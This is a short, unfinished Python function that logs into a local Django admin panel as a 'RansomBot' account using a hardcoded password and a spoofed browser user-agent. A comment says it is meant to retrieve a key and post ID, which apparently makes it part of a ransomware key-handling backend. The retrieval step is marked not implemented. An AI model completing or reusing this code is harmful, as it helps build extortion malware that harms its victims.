1def Key_Ops_HTTP():
2 br = mechanize.Browser()
3 br.set_handle_robots(False)
4 br.addheaders = [('user-agent', ' Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3'),
5 ('accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')]
6
7 try:
8 br.open("http://127.0.0.1:8000/admin/login/?next=/admin/")
9 except Exception as e:
10 # print "[!]Critical, could not open page."
11 # print "\n %s" % (e)
12 pass
13
14 br.form = list(br.forms())[0]
15 br["username"] = "RansomBot"
16 br["password"] = "prettyflypassw0rd"
17
18 br.submit()
19 # If log in was succesful retrieve key and post ID
20 ###---@---###
21######################################---NOT IMPLEMENTED---######################################